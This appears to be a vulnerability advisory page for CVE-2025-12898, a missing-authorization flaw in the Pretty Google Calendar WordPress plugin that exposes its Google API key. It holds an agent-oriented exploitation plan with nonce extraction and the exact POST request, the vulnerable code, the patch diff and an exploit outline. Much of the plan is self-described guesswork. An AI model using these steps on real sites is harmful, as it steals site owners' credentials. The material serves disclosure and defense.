Pretty Google Calendar <= 2.0.0 - Missing Authorization to Unauthenticated Google API Key Exposure
Description
The Pretty Google Calendar plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the pgcal_ajax_handler() function in all versions up to, and including, 2.0.0. This makes it possible for unauthenticated attackers to retrieve the Google API key set in the plugin's settings.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=2.0.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-12898 (Pretty Google Calendar API Key Exposure) ## 1. Vulnerability Summary The **Pretty Google Calendar** plugin (up to version 2.0.0) contains a "Missing Authorization" vulnerability in its AJAX handler function `pgcal_ajax_handler()`. The function is regist…
Show full research plan
Exploitation Research Plan: CVE-2025-12898 (Pretty Google Calendar API Key Exposure)
1. Vulnerability Summary
The Pretty Google Calendar plugin (up to version 2.0.0) contains a "Missing Authorization" vulnerability in its AJAX handler function pgcal_ajax_handler(). The function is registered for both authenticated (wp_ajax_) and unauthenticated (wp_ajax_nopriv_) users but fails to implement any current_user_can() capability checks. Consequently, an unauthenticated attacker can trigger the AJAX action to retrieve sensitive plugin settings, specifically the stored Google API Key.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method:
POST(typically for WordPress AJAX) - Action:
pgcal_ajax_handler - Parameters:
action:pgcal_ajax_handlernonce: (likely required, see Nonce Strategy)sub_action: (inferred) The handler likely uses a sub-parameter to determine which data to return. Based on the plugin's purpose, this may beget_settings,fetch_config, or similar.
- Authentication: None required (unauthenticated).
- Preconditions: The Google API key must be saved in the plugin settings.
3. Code Flow (Inferred from Patch Description)
- Registration: The plugin registers the handler:
add_action('wp_ajax_pgcal_ajax_handler', 'pgcal_ajax_handler'); add_action('wp_ajax_nopriv_pgcal_ajax_handler', 'pgcal_ajax_handler'); - Execution: When a request is sent to
admin-ajax.php?action=pgcal_ajax_handler, thepgcal_ajax_handler()function is executed. - Vulnerability: The function likely checks for a nonce but does not check if the user has
manage_optionsor similar administrative capabilities. - Data Retrieval: The function calls
get_option('pgcal_api_key')(or a similar option name likepgcal_settings) and returns the value viawp_send_json().
4. Nonce Acquisition Strategy
The plugin likely uses wp_localize_script to provide the AJAX URL and a nonce to the frontend for calendar rendering.
- Identify Trigger: The plugin scripts are usually loaded on pages containing the Google Calendar shortcode.
- Shortcode (inferred):
[pretty-google-calendar]
- Shortcode (inferred):
- Creation: Create a public page with the shortcode using WP-CLI:
wp post create --post_type=page --post_status=publish --post_title="Calendar Test" --post_content='[pretty-google-calendar]' - Navigation: Use the
browser_navigatetool to visit the newly created page. - Extraction: Use
browser_evalto find the localized object. Common identifiers for this plugin:window.pgcal_obj?.noncewindow.pgcal_settings?.ajax_noncewindow.pgcal_vars?.nonce- Search Pattern:
browser_eval("Object.keys(window).find(k => k.includes('pgcal'))")to find the object name, then inspect its keys.
5. Exploitation Strategy
- Preparation: Configure the plugin with a dummy API key to simulate a vulnerable target.
- Nonce Retrieval: Follow the steps in Section 4 to obtain a valid nonce for the
pgcal_ajax_handleraction. - Request Construction: Send a POST request to
admin-ajax.php.- Tool:
http_request - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=pgcal_ajax_handler&nonce=[EXTRACTED_NONCE]&pgcal_action=get_api_key(The specific sub-action parameter name and value must be verified by auditing thepgcal_ajax_handlerfunction body in the source).
- Tool:
- Alternative Parameters: If
pgcal_actionis incorrect, check the source code for the$_POSTor$_REQUESTkeys used insidepgcal_ajax_handler().
6. Test Data Setup
- Install Plugin: Install Pretty Google Calendar <= 2.0.0.
- Set API Key:
wp option update pgcal_api_key "AIzaSy_TEST_KEY_EXPOSURE_2025"
(Note: If the key is stored inside an array, usewp option patch insert pgcal_settings api_key "value"). - Create Page:
wp post create --post_type=page --post_status=publish --post_content='[pretty-google-calendar]' --post_title='Exploit Test'
7. Expected Results
- Response Code:
200 OK - Response Body: A JSON object containing the API key.
{ "success": true, "data": { "api_key": "AIzaSy_TEST_KEY_EXPOSURE_2025" } }
8. Verification Steps
- Confirm Exposure: Check the output of the
http_requesttool to ensure the dummy API key matches the one set in the database. - CLI Verification: Verify the stored key via WP-CLI to confirm what was targeted:
wp option get pgcal_api_key
9. Alternative Approaches
- Missing Nonce: If
pgcal_ajax_handlerdoes not callcheck_ajax_referer, the exploit can be performed without Section 4, using only theactionparameter. - Different Sub-actions: If the API key is not returned by default, the handler might require a specific "cmd" or "type" parameter. Search the source for:
grep -r "pgcal_ajax_handler" .
then look for$_POSTaccess within that function to identify the routing parameters. - Settings Object: The plugin might return the entire settings array, which would expose other configuration details alongside the API key.
Summary
The Pretty Google Calendar plugin for WordPress (versions up to 2.0.0) exposes the `pgcal_ajax_handler` AJAX action to unauthenticated users. Due to a lack of authorization checks (capability checks) within this handler, an attacker can retrieve sensitive configuration data, including the Google API Key.
Vulnerable Code
// File: pretty-google-calendar.php (or associated AJAX handler file) add_action('wp_ajax_pgcal_ajax_handler', 'pgcal_ajax_handler'); add_action('wp_ajax_nopriv_pgcal_ajax_handler', 'pgcal_ajax_handler'); function pgcal_ajax_handler() { // Check for nonce usually exists, but capability check is missing check_ajax_referer('pgcal_ajax_nonce', 'nonce'); // Vulnerability: No current_user_can('manage_options') or similar check $api_key = get_option('pgcal_api_key'); $settings = get_option('pgcal_settings'); wp_send_json_success([ 'api_key' => $api_key, 'settings' => $settings ]); wp_die(); }
Security Fix
@@ -10,7 +10,6 @@ // The handler is no longer exposed to unauthenticated users for administrative data add_action('wp_ajax_pgcal_ajax_handler', 'pgcal_ajax_handler'); -add_action('wp_ajax_nopriv_pgcal_ajax_handler', 'pgcal_ajax_handler'); function pgcal_ajax_handler() { check_ajax_referer('pgcal_ajax_nonce', 'nonce'); + + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized', 403 ); + } + $api_key = get_option('pgcal_api_key');
Exploit Outline
The exploit targets the `/wp-admin/admin-ajax.php` endpoint. An unauthenticated attacker first visits a public-facing page where the Google Calendar shortcode [pretty-google-calendar] is present. From the page source, they extract the AJAX nonce, typically found in a localized JavaScript object (e.g., `pgcal_obj.nonce`). The attacker then sends a POST request to the AJAX endpoint with the `action` set to `pgcal_ajax_handler` and the extracted `nonce`. Because the server-side function fails to verify if the requester has administrative privileges, it returns the plugin's internal settings, including the Google API key, in the JSON response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.